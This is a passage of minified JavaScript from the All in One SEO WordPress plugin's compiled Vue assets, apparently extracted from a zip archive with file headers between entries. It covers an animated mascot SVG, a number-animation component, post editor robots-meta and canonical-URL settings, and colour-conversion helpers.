3.816,-2.16Z",style:{fill:"#17113b"}}),l("path",{d:"M78.951,153.318l17.64,1.584c-3.888,9 -6.408,19.728 -6.552,24.984c-0.288,6.984 0.288,15.12 2.376,22.824c-15.408,-3.024 -27.216,-18.792 -17.28,-47.232c0.504,-1.44 2.016,-2.304 3.816,-2.16Z",style:{fill:"#2b2b57"}}),l("path",{d:"M81.759,157.782l30.961,2.808c1.512,0.072 2.736,0.864 3.384,2.16c0.648,1.224 0.504,2.52 -0.432,3.528c-8.856,10.08 -38.881,7.128 -38.017,-5.4c0.144,-1.944 1.944,-3.312 4.104,-3.096Z",style:{fill:"#697196"}}),l("path",{d:"M167.944,120.198c4.032,-0.145 7.128,1.296 6.984,3.24c-0.216,1.872 -3.6,3.6 -7.56,3.816c-4.032,0.144 -7.128,-1.296 -6.984,-3.241c0.216,-1.871 3.6,-3.599 7.56,-3.815Z",style:{fill:"#ffd696"}}),l("path",{d:"M210.136,123.726c-3.888,-0.864 -7.2,-0.072 -7.344,1.872c-0.216,1.944 2.808,4.247 6.768,5.112c3.888,0.936 7.2,0.072 7.344,-1.872c0.216,-1.944 -2.808,-4.248 -6.768,-5.112Z",style:{fill:"#ffd696"}}),l("g",{id:"Hand-Magnifier","serif:id":"Hand/Magnifier"},[l("g",{id:"Hand-Under","serif:id":"Hand Under"},[l("path",{d:"M305.65,246.193c1.96,-4.058 5.444,-7.029 10.263,-7.111c5.046,-0.104 9.934,1.454 13.537,5.083c3.068,3.062 4.746,7.36 4.487,11.732c-0.291,4.512 -2.366,8.101 -5.527,10.629c2.359,2.605 3.792,6.034 3.575,9.898c-0.185,3.725 -1.844,7.113 -4.693,9.564c-3.312,2.864 -7.707,4.002 -12.002,4.055c-2.148,0.027 -4.238,-0.523 -6.028,-1.743c-4.146,-2.866 -6.027,-8.539 -5.598,-13.981c-1.245,0.602 -2.653,0.947 -4.191,0.891c-6.325,-0.114 -11.892,-3.23 -14.372,-9.188c-1.103,-2.614 -1.477,-5.506 -1.203,-8.322c0.983,-8.196 7.288,-14.143 15.745,-13.985c1.241,0.062 2.451,0.264 3.51,0.801c0.935,0.435 1.767,0.994 2.497,1.677Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M304.905,304.807c14.359,1.801 27.438,-10.207 29.259,-26.925c1.804,-16.648 -8.357,-31.668 -22.646,-33.452c-14.344,-1.869 -27.439,10.208 -29.243,26.856c-1.821,16.718 8.27,31.723 22.63,33.521Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M305.439,300.204c12.135,1.512 23.243,-8.655 24.784,-22.852c1.524,-14.127 -7.104,-26.805 -19.223,-28.387c-12.135,-1.515 -23.259,8.723 -24.784,22.851c-1.525,14.127 7.017,26.858 19.223,28.388Z",style:{fill:"#cb5f2b"}}),l("path",{d:"M315.834,298.661c7.493,-3.386 13.302,-11.366 14.389,-21.309c1.524,-14.127 -7.104,-26.805 -19.223,-28.387c-1.943,-0.222 -3.81,-0.132 -5.655,0.187c-6.188,18.38 -0.605,39.224 10.489,49.509Z",style:{fill:"#ed7b46"}}),l("path",{d:"M302.398,292.493c8.685,1.096 16.622,-6.176 17.757,-16.331c1.119,-10.083 -5.077,-19.177 -13.763,-20.273c-8.67,-1.165 -16.622,6.177 -17.758,16.331c-1.048,10.099 5.078,19.177 13.764,20.273Z",style:{fill:"#f0ad76"}})]),l("g",{id:"Magnifying-Glass","serif:id":"Magnifying Glass"},[l("path",{d:"M302.069,220.783l7.388,-0.012l0.019,44.906c0.02,3.474 -7.439,3.472 -7.458,-0.003l0.051,-44.891Z",style:{fill:"#5a6d75"}}),l("path",{d:"M300.342,236.119l10.863,-0.031c1.992,0.01 3.615,1.637 3.588,3.699l-0.029,49.324c0.016,6.725 -18.071,5.404 -18.095,0.008l0.029,-49.325c0.027,-2.063 1.653,-3.685 3.644,-3.675Z",style:{fill:"#17113b"}}),l("path",{d:"M305.739,236.096l5.466,-0.008c1.992,0.01 3.615,1.637 3.588,3.699l-0.029,49.324c0.051,3.336 -4.479,4.74 -9.007,4.519l-0.018,-57.534Z",style:{fill:"#2b2b57"}}),l("clipPath",{id:"_clip1"},[l("path",{d:"M299.078,214.891c-0.373,-0.085 -0.742,-0.175 -1.11,-0.271c0.06,-0.091 0.118,-0.181 0.178,-0.27c4.537,-6.94 7.453,-12.922 9.61,-20.11c2.116,-8.305 -6.783,-21.413 -14.013,-27.272l2.591,-8.001c5.196,-3.208 11.322,-5.055 17.89,-5.05c2.629,-0.007 5.189,0.286 7.648,0.847c6.524,1.489 12.332,4.864 16.792,9.529c-4.27,-9.669 -12.969,-16.988 -23.523,-19.396c-2.444,-0.558 -4.99,-0.853 -7.601,-0.851c-2.252,0.001 -4.45,0.22 -6.582,0.639l1.284,-3.962c1.739,-0.243 3.518,-0.367 5.327,-0.363c2.886,0.004 5.698,0.33 8.4,0.947c16.783,3.829 29.33,18.831 29.356,36.839c-0.024,20.82 -16.949,37.711 -37.769,37.687c-2.915,0.005 -5.751,-0.32 -8.478,-0.942Z"})]),l("g",{"clip-path":"url(#_clip1)"},[l("path",{d:"M300.408,137.756l55.947,12.765l-16.795,73.607l-55.946,-12.765l16.794,-73.607Z",style:{fill:"#fff","fill-rule":"nonzero"}})]),l("circle",{cx:"307.426",cy:"177.309",r:"41.416",style:{fill:"#fff","fill-opacity":"0.45"}}),l("path",{d:"M307.569,140.36c-20.891,-0.04 -37.746,16.867 -37.786,37.757c-0.024,20.821 16.937,37.761 37.773,37.716c20.82,0.024 37.745,-16.867 37.769,-37.687c-0.03,-20.906 -16.936,-37.762 -37.756,-37.786Zm0.017,-12.698c27.841,0.001 50.385,22.574 50.383,50.415c-0.017,27.91 -22.589,50.455 -50.43,50.453c-27.842,0 -50.456,-22.589 -50.454,-50.43c0.001,-27.842 22.589,-50.455 50.501,-50.438Z",style:{fill:"#7da9b9"}}),l("path",{d:"M307.522,138.947c21.64,-0.011 39.207,17.511 39.217,39.152c-0.06,21.625 -17.582,39.191 -39.207,39.131c-21.64,0.011 -39.136,-17.496 -39.147,-39.137c-0.01,-21.64 17.567,-39.12 39.137,-39.146Zm0.04,-9.888c27.107,-0.018 49.045,21.973 48.994,49.065c0.034,27.037 -21.973,49.045 -48.994,49.009c-27.107,0.019 -49.045,-21.973 -49.064,-49.08c0.036,-27.021 21.957,-48.975 49.064,-48.994Z",style:{fill:"#7da9b9"}}),l("path",{d:"M307.539,130.458c-25.03,-0.025 -45.538,19.297 -47.458,43.895c-0.377,4.566 6.656,5.137 7.05,0.5c1.664,-20.889 19.141,-37.284 40.414,-37.304c21.344,-0.004 38.784,16.455 40.438,37.363c0.357,4.586 7.42,4.056 7.079,-0.6c-1.939,-24.518 -22.494,-43.83 -47.523,-43.854Z",style:{fill:"#d2e9f1"}}),l("g",{id:"Moon"},[l("path",{d:"M283.073,201.754c-0.573,-0.597 -1.124,-1.214 -1.654,-1.85c0.261,-0.089 0.52,-0.178 0.779,-0.27c0.267,0.718 0.559,1.425 0.875,2.12Z",style:{fill:"#fbf7ed","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M296.334,158.967l4.624,-14.282c2.132,-0.419 4.33,-0.638 6.582,-0.639c2.611,-0.002 5.157,0.293 7.601,0.851c10.554,2.408 19.253,9.727 23.523,19.396c-4.46,-4.665 -10.268,-8.04 -16.792,-9.529c-2.459,-0.561 -5.019,-0.854 -7.648,-0.847c-6.568,-0.005 -12.694,1.842 -17.89,5.05Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M284.701,170.955c-0.505,-0.317 -1.021,-0.631 -1.549,-0.939l6.87,-21.106c3.32,-2 7.011,-3.451 10.936,-4.225l-4.624,14.282c-4.802,2.964 -8.81,7.09 -11.633,11.988Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M284.701,170.955c-0.505,-0.317 -1.021,-0.631 -1.549,-0.939c-2.397,-1.427 -4.553,-2.655 -7.402,-4.142c2.745,-7.11 7.816,-13.076 14.272,-16.964l-6.87,21.106c0.528,0.308 1.044,0.622 1.549,0.939Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M281.214,179.539c-1.754,-0.54 -3.498,-1.001 -5.231,-1.396c-0.834,-0.19 -1.666,-0.366 -2.495,-0.527c0.054,-4.133 0.851,-8.088 2.262,-11.742c2.849,1.487 5.005,2.715 7.402,4.142c0.528,0.308 1.044,0.622 1.549,0.939c-1.53,2.655 -2.713,5.537 -3.487,8.584Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}}),l("path",{d:"M281.419,199.904c-4.927,-5.917 -7.904,-13.486 -7.934,-21.828c0,-0.154 0.001,-0.308 0.003,-0.46c0.829,0.161 1.661,0.337 2.495,0.527c1.733,0.395 3.477,0.856 5.231,1.396c-0.68,2.688 -1.043,5.504 -1.045,8.407c-0.017,4.126 0.68,8.056 2.029,11.688c-0.259,0.092 -0.518,0.181 -0.779,0.27Z",style:{fill:"#fff","fill-opacity":"0.76","fill-rule":"nonzero"}})])]),l("g",{id:"Hand-Above","serif:id":"Hand Above"},[l("path",{d:"M316.022,243.463c-9.568,0.181 -10.568,19.45 -2.384,22.425c-7.971,2.243 -7.571,19.909 1.614,19.79c15.8,-0.308 15.84,-16.991 3.75,-19.674c15.72,-2.543 13.257,-22.823 -2.98,-22.541Zm-16.497,4.655c8.753,0.151 8.945,22.941 -0.02,22.743c-15.797,-0.355 -14.38,-23.073 0.02,-22.743Z",style:{fill:"#f0ad76"}}),l("path",{d:"M320.671,266.458c-5.843,2.951 -6.115,15.148 -0.683,18.529c10.365,-3.026 9.817,-15.189 0.683,-18.529Zm-24.038,4.043c-11.442,-2.611 -10.834,-18.867 -0.836,-21.903c6.476,2.363 6.884,18.703 0.836,21.903Zm24.819,-26.241c-6.695,3.125 -7.058,17.666 -0.73,21.325c11.968,-3.252 11.354,-17.719 0.73,-21.325Z",style:{fill:"#fbd395"}})])])],-1),u=[m];function _(e,i){return c(),t("svg",b,u)}const g=f(r,[["render",_]]),w={components:{SvgDannieLabAnimateOne:o,SvgDannieLabAnimateTwo:g},props:{mascot:{type:String,required:!0}},data(){return{number:"one",interval:null}},mounted(){this.interval=setInterval(()=>{this.number==="one"?this.number="two":this.number="one"},500)}},v={class:"aioseo-animated-dannie"};function x(e,i,a,z,d,H){return c(),t("div",v,[(c(),s(p(`svg-dannie-${a.mascot}-animate-${d.number}`)))])}const A=f(w,[["render",x]]);export{A as C}; PKÉ—[bú‹**Ball-in-one-seo-pack/dist/Lite/assets/js/AnimatedNumber.BZqhDXvl.jsnu„[µü¤import{n as e}from"./numbers.ursUutt1.js";import{o as a,c as u,t as o}from"./vue.esm-bundler.DzelZkHk.js";import{_ as m}from"./_plugin-vue_export-helper.BN1snXvA.js";const s={props:{number:Number,fromNumber:{type:Number,default(){return 0}},formatNumber:{type:Boolean,default(){return!0}}},data(){return{animatedNumber:0}},watch:{number(){this.animateNumber()}},computed:{formattedNumber(){return this.formatNumber?e.numberFormat(this.animatedNumber):this.animatedNumber}},methods:{animateNumber(){const t=e.animateNumbers(this.fromNumber,this.number,r=>this.animatedNumber=r);window.addEventListener("blur",()=>{t.cancel(),this.animatedNumber=this.number})}},mounted(){this.animateNumber()}};function i(t,r,c,l,p,n){return a(),u("span",null,o(n.formattedNumber),1)}const d=m(s,[["render",i]]);export{d as U}; PKÉ—[Ý€‘Xg¥g¥7all-in-one-seo-pack/dist/Lite/assets/js/App.CoNAsNOl.jsnu„[µü¤/* empty css */import{v as lt,b as P,f as O,a as dt,u as Z,a4 as rt,a5 as De,r as mt,w as le,a6 as Ne,O as pt,e as Y,n as Ve,a7 as Ue,R as Ke,d as Ge,m as de,E as ot,G as ce,t as Fe,j as qe}from"./links.CKSg78-h.js";import{a as W}from"./allowed.B_mIy271.js";import{g as nt,r as Lt}from"./params.B3T1WKlC.js";import{C as K,a as _t,S as It,f as ft,c as Bt,e as ze,b as he,d as kt,h as We}from"./Caret.Cuasz9Up.js";import{J as ue}from"./JsonValues.D25FTfEu.js";import{C as V}from"./SettingsRow.B0N4hwjp.js";import{B as je}from"./Checkbox.CfGJSeWE.js";import{G as Ye,a as Ze}from"./Row.ou4tdPuA.js";import{y as a,o as n,c as f,D as d,m as l,E as w,t as m,a as h,l as _,d as g,I as E,H,M as pe,N as ge,Y as Je,h as Xe,J as Rt,F as j,L as et,q,T as at,x as B,u as z,g as Qe}from"./vue.esm-bundler.DzelZkHk.js";import{_ as y}from"./_plugin-vue_export-helper.BN1snXvA.js";import{C as ts,a as es,S as ss}from"./ScrollAndHighlight.DCpqKtXJ.js";import{C as st}from"./Tabs.Cl9YKSoz.js";import{C as J}from"./Index.6gbvf_mk.js";import{_ as D}from"./default-i18n.BtxsUzQk.js";import{u as me,T as _e}from"./TruSeoScore.-L7x872T.js";import{a as os,b as is,S as fe}from"./Settings.CvT2HtRn.js";import{M as Ot}from"./MaxCounts.DHV7qSQX.js";import{S as Se,a as rs}from"./Ellipse.HvxcRElJ.js";import{T as Dt}from"./Tags.BcJqtOJO.js";import{e as X}from"./regex.C2CBDGQi.js";import{r as ns,k as as,n as ls,l as wt,t as Ct}from"./postSlug.D1i5fFFO.js";import{d as $t}from"./debounce.vOAperWf.js";import{R as ds,n as cs}from"./isArrayLikeObject.CkjpbQo7.js";import{t as jt}from"./toFinite.CtNJVvVF.js";import{C as G}from"./Tooltip.DcUmvaHX.js";import{S as St,a as Nt,f as hs,g as us,h as ps,c as gs,i as ms,j as _s,k as fs,m as Ss,n as ys,d as bs,o as vs,p as ks,q as ws,r as Cs,s as $s,t as Ps,u as Es,v as Ts,w as xs,x as As,y as Ls,z as Ms,A as Hs,C as Is}from"./index.DX4OhBfI.js";import{S as Vt}from"./Plus.CShy191p.js";import{S as Ut}from"./Eye.DFiNxd3l.js";import{B as ye}from"./RadioToggle.XiBFFWmC.js";import{C as Bs}from"./GoogleSearchPreview.C5aCQaFX.js";import{C as Kt}from"./HtmlTagsEditor.DRjNQQYX.js";import{T as Rs}from"./Slide.BfXXFx9A.js";import{C as Os}from"./ProBadge.Dgq0taM8.js";import{p as Yt}from"./popup.Dv7cb5WI.js";import{l as gt}from"./license.8zyTf6Rb.js";import{a as be}from"./addons.Bhqo_sme.js";import{C as Gt}from"./Blur.B433XVqJ.js";import{C as ve}from"./Index.Ck0NNxBQ.js";import{W as Ds}from"./WpTable.EicK-ih4.js";import{C as Ns}from"./Table.B2KnjpXq.js";import{P as Vs}from"./PostTypes.Cef6XkQ_.js";import{a as ke,S as Us,b as Ks,c as Gs}from"./InternalOutbound.CfM4VZLz.js";import{R as Fs}from"./RequiredPlans.BWoa4M_T.js";import{I as we,a as Ce}from"./Image.BF1-Ygnr.js";import{t as $e}from"./tags.BOsOOXAU.js";import{C as qs}from"./FacebookPreview.BiNQJi-p.js";import{C as Pe}from"./ImageUploader.DrSIpvuy.js";import{C as zs}from"./TwitterPreview.DHa9D5iN.js";import{a as Ee,S as Ws}from"./Build.CQX7DDZt.js";import{R as js}from"./Redirects.Bud-ttI3.js";import{U as Ys,S as Zs}from"./Upsell.DRezA3oa.js";var Js=Math.floor,Xs=Math.random;function Qs(t,e){return t+Js(Xs()*(e-t+1))}var to=parseFloat,eo=Math.min,so=Math.random;function oo(t,e,i){if(i&&typeof i!="boolean"&&ds(t,e,i)&&(e=i=void 0),i===void 0&&(typeof e=="boolean"?(i=e,e=void 0):typeof t=="boolean"&&(i=t,t=void 0)),t===void 0&&e===void 0?(t=0,e=1):(t=jt(t),e===void 0?(e=t,t=0):e=jt(e)),t>e){var s=t;t=e,e=s}if(i||t%1||e%1){var o=so();return eo(t+o*(e-t+to("1e-"+((o+"").length-1))),e)}return Qs(t,e)}const io={data(){return{updatingSeoRevisions:!1}},methods:{updateSeoRevisions(){if(window.wp.data.select("core/editor").isSavingPost()&&!window.wp.data.select("core/editor").isAutosavingPost()){this.updatingSeoRevisions=!0;const t=this,e=lt();setTimeout(()=>{e.fetch().finally(()=>{t.updatingSeoRevisions=!1})},2500)}},async watchObjectRevisionsOnSavePost(){await this.$nextTick(),window.wp.data.subscribe(()=>{this.updatingSeoRevisions||this.updateSeoRevisions()})}}},ro={setup(){return{postEditorStore:P()}},components:{BaseCheckbox:je,GridColumn:Ye,GridRow:Ze},data(){return{strings:{useDefaultSettings:this.$t.__("Use Default Settings",this.$td),robotsMeta:this.$t.__("Robots meta:",this.$td),maxSnippet:this.$t.__("Max Snippet",this.$td),maxVideoPreview:this.$t.__("Max Video Preview",this.$td),maxImagePreview:this.$t.__("Max Image Preview",this.$td),standard:this.$t.__("Standard",this.$td),none:this.$t.__("None",this.$td),large:this.$t.__("Large",this.$td),noindex:this.$t.__("No Index",this.$td),nofollow:this.$t.__("No Follow",this.$td),noarchive:this.$t.__("No Archive",this.$td),notranslate:this.$t.__("No Translate",this.$td),noimageindex:this.$t.__("No Image Index",this.$td),nosnippet:this.$t.__("No Snippet",this.$td),noodp:this.$t.__("No ODP",this.$td)}}},computed:{imagePreviewOptions(){return[{label:this.strings.none,value:"none"},{label:this.strings.standard,value:"standard"},{label:this.strings.large,value:"large"}]}},methods:{getImagePreview(t){return this.imagePreviewOptions.find(e=>e.value===t)},saveImagePreview(t){this.postEditorStore.currentPost.maxImagePreview=t,this.postEditorStore.isDirty=!0}}},no={class:"aioseo-robots-meta"},ao={key:0,class:"global-robots-settings aioseo-description"},lo={class:"robots-meta-title"},co={class:"global-robots-settings-options"},ho={key:0,class:"aioseo-description max-snippet"},uo={class:"aioseo-description max-video-preview"},po={key:1,class:"aioseo-description max-image-preview"};function go(t,e,i,s,o,r){const u=a("base-toggle"),c=a("base-checkbox"),p=a("grid-column"),S=a("grid-row"),C=a("base-input"),$=a("base-select");return n(),f("div",no,[d(u,{modelValue:s.postEditorStore.currentPost.default,"onUpdate:modelValue":[e[0]||(e[0]=v=>s.postEditorStore.currentPost.default=v),e[1]||(e[1]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.useDefaultSettings),1)]),_:1},8,["modelValue"]),s.postEditorStore.currentPost.default?g("",!0):(n(),f("div",ao,[h("span",lo,m(o.strings.robotsMeta),1),d(S,{class:"settings"},{default:l(()=>[s.postEditorStore.currentPost.isHomePage?g("",!0):(n(),_(p,{key:0,xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.noindex,"onUpdate:modelValue":[e[2]||(e[2]=v=>s.postEditorStore.currentPost.noindex=v),e[3]||(e[3]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.noindex),1)]),_:1},8,["modelValue"])]),_:1})),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.nofollow,"onUpdate:modelValue":[e[4]||(e[4]=v=>s.postEditorStore.currentPost.nofollow=v),e[5]||(e[5]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.nofollow),1)]),_:1},8,["modelValue"])]),_:1}),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.noarchive,"onUpdate:modelValue":[e[6]||(e[6]=v=>s.postEditorStore.currentPost.noarchive=v),e[7]||(e[7]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.noarchive),1)]),_:1},8,["modelValue"])]),_:1}),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.notranslate,"onUpdate:modelValue":[e[8]||(e[8]=v=>s.postEditorStore.currentPost.notranslate=v),e[9]||(e[9]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.notranslate),1)]),_:1},8,["modelValue"])]),_:1}),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.noimageindex,"onUpdate:modelValue":[e[10]||(e[10]=v=>s.postEditorStore.currentPost.noimageindex=v),e[11]||(e[11]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.noimageindex),1)]),_:1},8,["modelValue"])]),_:1}),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.nosnippet,"onUpdate:modelValue":[e[12]||(e[12]=v=>s.postEditorStore.currentPost.nosnippet=v),e[13]||(e[13]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.nosnippet),1)]),_:1},8,["modelValue"])]),_:1}),d(p,{xl:"3",md:"4",sm:"6"},{default:l(()=>[d(c,{size:"medium",modelValue:s.postEditorStore.currentPost.noodp,"onUpdate:modelValue":[e[14]||(e[14]=v=>s.postEditorStore.currentPost.noodp=v),e[15]||(e[15]=v=>s.postEditorStore.isDirty=!0)]},{default:l(()=>[w(m(o.strings.noodp),1)]),_:1},8,["modelValue"])]),_:1})]),_:1}),h("div",co,[s.postEditorStore.currentPost.nosnippet?g("",!0):(n(),f("div",ho,[h("span",null,m(o.strings.maxSnippet),1),d(C,{type:"number",size:"medium",modelValue:s.postEditorStore.currentPost.maxSnippet,"onUpdate:modelValue":[e[16]||(e[16]=v=>s.postEditorStore.currentPost.maxSnippet=v),e[17]||(e[17]=v=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])])),h("div",uo,[h("span",null,m(o.strings.maxVideoPreview),1),d(C,{type:"number",size:"medium",modelValue:s.postEditorStore.currentPost.maxVideoPreview,"onUpdate:modelValue":[e[18]||(e[18]=v=>s.postEditorStore.currentPost.maxVideoPreview=v),e[19]||(e[19]=v=>s.postEditorStore.isDirty=!0)]},null,8,["modelValue"])]),s.postEditorStore.currentPost.noimageindex?g("",!0):(n(),f("div",po,[h("span",null,m(o.strings.maxImagePreview),1),d($,{size:"medium",options:r.imagePreviewOptions,modelValue:r.getImagePreview(s.postEditorStore.currentPost.maxImagePreview),"onUpdate:modelValue":e[20]||(e[20]=v=>r.saveImagePreview(v.value))},null,8,["options","modelValue"])]))])]))])}const mo=y(ro,[["render",go]]),_o={setup(){return{licenseStore:O(),optionsStore:dt(),postEditorStore:P()}},components:{CoreAlert:K,CoreSettingsRow:V,CoreSingleRobotsMeta:mo},mixins:[ue],props:{disabled:{type:Boolean,default(){return!1}},type:{type:String,required:!1},object:{type:Object,required:!1}},data(){return{strings:{pageName:this.$t.__("Advanced",this.$td),robotsSetting:this.$t.__("Robots Setting",this.$td),robotsToggle:this.$t.__("Use Default Settings",this.$td),canonicalUrl:this.$t.__("Canonical URL",this.$td),placeholder:this.$t.__("Enter a URL to change the default Canonical URL",this.$td),priorityScore:this.$t.__("Priority Score",this.$td),priority:this.$t.__("Priority",this.$td),frequency:this.$t.__("Frequency",this.$td),priorityFrequencyUpsell:this.$t.sprintf(this.$t.__("Priority Score is a %1$s feature. %2$s",this.$td),"PRO",this.$links.getUpsellLink("post-advanced",this.$constants.GLOBAL_STRINGS.learnMore,"priority-frequency",!0)),keywords:this.$t.__("Keywords",this.$td),tagPlaceholder:this.$t.__("Press enter to create a keyword",this.$td)}}},computed:{getPriorityOptions(){return[{label:this.$t.__("default",this.$td),value:"default"}].concat(this.$constants.PRIORITY_OPTIONS)},getFrequencyOptions(){return[{label:this.$t.__("default",this.$td),value:"default"}].concat(this.$constants.FREQUENCY_OPTIONS)}},methods:{getPriority(t){return t=t!=="default"?parseFloat(t):t,this.getPriorityOptions.find(e=>e.value===t)},savePriority(t){this.postEditorStore.currentPost.priority=t,this.postEditorStore.isDirty=!0},getFrequency(t){return this.getFrequencyOptions.find(e=>e.value===t)},saveFrequency(t){this.postEditorStore.currentPost.frequency=t,this.postEditorStore.isDirty=!0}}},fo={class:"aioseo-tab-content aioseo-post-advanced"},So={class:"selectbox-row"},yo={class:"select"},bo=h("div",{class:"separator"},[h("span"),w(" - ")],-1),vo={class:"select"},ko=["innerHTML"];function wo(t,e,i,s,o,r){const u=a("core-single-robots-meta"),c=a("core-settings-row"),p=a("base-input"),S=a("base-select"),C=a("core-alert");return n(),f("div",fo,[d(c,{id:"aioseo-post-robots-setting",name:o.strings.robotsSetting,align:""},{content:l(()=>[d(u)]),_:1},8,["name"]),d(c,{id:"aioseo-post-canonical-url",name:o.strings.canonicalUrl,align:""},{content:l(()=>[d(p,{type:"text",size:"medium",placeholder:o.strings.placeholder,modelValue:s.postEditorStore.currentPost.canonicalUrl,"onUpdate:modelValue":[e[0]||(e[0]=$=>s.postEditorStore.currentPost.canonicalUrl=$),e[1]||(e[1]=$=>s.postEditorStore.isDirty=!0)]},null,8,["placeholder","modelValue"])]),_:1},8,["name"]),d(c,{name:o.strings.priorityScore,align:""},{content:l(()=>[h("div",So,[h("div",yo,[h("span",null,m(o.strings.priority),1),d(S,{disabled:s.licenseStore.isUnlicensed,size:"medium",options:r.getPriorityOptions,modelValue:s.licenseStore.isUnlicensed?r.getPriority("default"):r.getPriority(s.postEditorStore.currentPost.priority),"onUpdate:modelValue":e[2]||(e[2]=$=>s.licenseStore.isUnlicensed?null:r.savePriority($.value))},null,8,["disabled","options","modelValue"])]),bo,h("div",vo,[h("span",null,m(o.strings.frequency),1),d(S,{disabled:s.licenseStore.isUnlicensed,size:"medium",options:r.getFrequencyOptions,modelValue:s.licenseStore.isUnlicensed?r.getFrequency("default"):r.getFrequency(s.postEditorStore.currentPost.frequency),"onUpdate:modelValue":e[3]||(e[3]=$=>s.licenseStore.isUnlicensed?null:r.saveFrequency($.value))},null,8,["disabled","options","modelValue"])])]),s.licenseStore.isUnlicensed?(n(),_(C,{key:0,class:"inline-upsell",type:"blue"},{default:l(()=>[h("div",{innerHTML:o.strings.priorityFrequencyUpsell},null,8,ko)]),_:1})):g("",!0)]),_:1},8,["name"]),s.optionsStore.options.searchAppearance.advanced.useKeywords?(n(),_(c,{key:0,name:o.strings.keywords,align:""},{content:l(()=>[d(S,{multiple:"",taggable:"",options:t.getJsonValue(s.postEditorStore.currentPost.keywords)||[],modelValue:t.getJsonValue(s.postEditorStore.currentPost.keywords)||[],"onUpdate:modelValue":e[4]||(e[4]=$=>s.postEditorStore.currentPost.keywords=t.setJsonValue($)),"tag-placeholder":o.strings.tagPlaceholder},null,8,["options","modelValue","tag-placeholder"])]),_:1},8,["name"])):g("",!0)])}const Co=y(_o,[["render",wo]]),$o={setup(){return{licenseStore:O(),rootStore:Z()}},components:{CoreApiBar:ts,CoreLicenseKeyBar:es}};function Po(t,e,i,s,o,r){const u=a("core-api-bar"),c=a("core-license-key-bar");return n(),f("div",null,[s.rootStore.pong?g("",!0):(n(),_(u,{key:0})),t.$isPro&&s.licenseStore.isUnlicensed&&s.rootStore.pong?(n(),_(c,{key:1})):g("",!0)])}const Te=y($o,[["render",Po]]);var Eo={grad:.9,turn:360,rad:360/(2*Math.PI)},F=function(t){return typeof t=="string"?t.length>0:typeof t=="number"},A=function(t,e,i){return e===void 0&&(e=0),i===void 0&&(i=Math.pow(10,e)),Math.round(i*t)/i+0},R=function(t,e,i){return e===void 0&&(e=0),i===void 0&&(i=1),t>i?i:t>e?t:e},xe=function(t){return(t=isFinite(t)?t%360:0)>0?t:t+360},Zt=function(t){return{r:R(t.r,0,255),g:R(t.g,0,255),b:R(t.b,0,255),a:R(t.a)}},Pt=function(t){return{r:A(t.r),g:A(t.g),b:A(t.b),a:A(t.a,3)}},To=/^#([0-9a-f]{3,8})$/i,ut=function(t){var e=t.toString(16);return e.length<2?"0"+e:e},Ae=function(t){var e=t.r,i=t.g,s=t.b,o=t.a,r=Math.max(e,i,s),u=r-Math.min(e,i,s),c=u?r===e?(i-s)/u:r===i?2+(s-e)/u:4+(e-i)/u:0;return{h:60*(c<0?c+6:c),s:r?u/r*100:0,v:r/255*100,a:o}},Le=function(t){var e=t.h,i=t.s,s=t.v,o=t.a;e=e/360*6,i/=100,s/=100;var r=Math.floor(e),u=s*(1-i),c=s*(1-(e-r)*i),p=s*(1-(1-e+r)*i),S=r%6;return{r:255*[s,c,u,u,p,s][S],g:255*[p,s,s,c,u,u][S],b:255*[u,u,p,s,s,c][S],a:o}},Jt=function(t){return{h:xe(t.h),s:R(t.s,0,100),l:R(t.l,0,100),a:R(t.a)}},Xt=function(t){return{h:A(t.h),s:A(t.s),l:A(t.l),a:A(t.a,3)}},Qt=function(t){return Le((i=(e=t).s,{h:e.h,s:(i*=((s=e.l)<50?s:100-s)/100)>0?2*i/(s+i)*100:0,v:s+i,a:e.a}));var e,i,s},it=function(t){return{h:(e=Ae(t)).h,s:(o=(200-(i=e.s))*(s=e.v)/100)>0&&o<200?i*s/100/(o<=100?o:200-o)*100:0,l:o/2,a:e.a};var 